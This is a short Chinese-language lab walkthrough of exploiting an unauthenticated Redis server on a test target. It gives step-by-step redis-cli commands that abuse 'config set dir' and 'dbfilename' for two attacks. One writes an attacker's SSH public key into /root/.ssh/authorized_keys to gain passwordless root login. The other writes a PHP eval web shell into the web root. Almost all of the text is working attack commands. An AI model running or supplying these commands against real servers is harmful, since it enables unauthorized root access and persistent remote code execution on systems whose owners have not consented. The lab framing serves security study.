0x00 测试环境
漏洞靶场:https://github.com/Medicean/VulApps/tree/master/r/redis/1
连接工具:https://redis.io/download
0x01 测试是否存在未授权访问漏洞
使用redis-cli尝试连接目标6379端口
#./redis-cli -h 192.168.233.131 -p 6379 //6379为默认端口,这里映射为32773,如果存在弱口令,可以通过参数-a [password]连接
此时可以看到已连接成功
0x02 多姿势漏洞利用
姿势1:写入公钥,通过私钥免密连接
1、在本地/root/.ssh目录下生成rsa密钥对 //id_rsa私钥,连接时用;id_rsa.pub公钥,上传内容至目标服务器
2、通过redis命令,将公钥写入到目标服务器
> config set dir /root/.ssh/ //指定存放路径
> config set dbfilename "authorized_keys" //指定上传的文件名
> set authorized_keys "公钥内容" //将公钥写入到文件中,可略过这条命令
> save //保存
3、使用ssh命令连接目标
# ssh root@192.168.233.131 -p 32774 -i ~/.ssh/id_rsa //-i 指定私钥文件 ,这里提示需要密码的原因应该是authorized_keys文件权限过低(chmod 700 authorized_keys)
姿势2:若目标服务器有web服务,可直接写入一句话木马
> config set dir /var/www/html/
> config set dbfilename "1.php"
> set 1 "<?php eval($_POST[cmd]);?>"
> save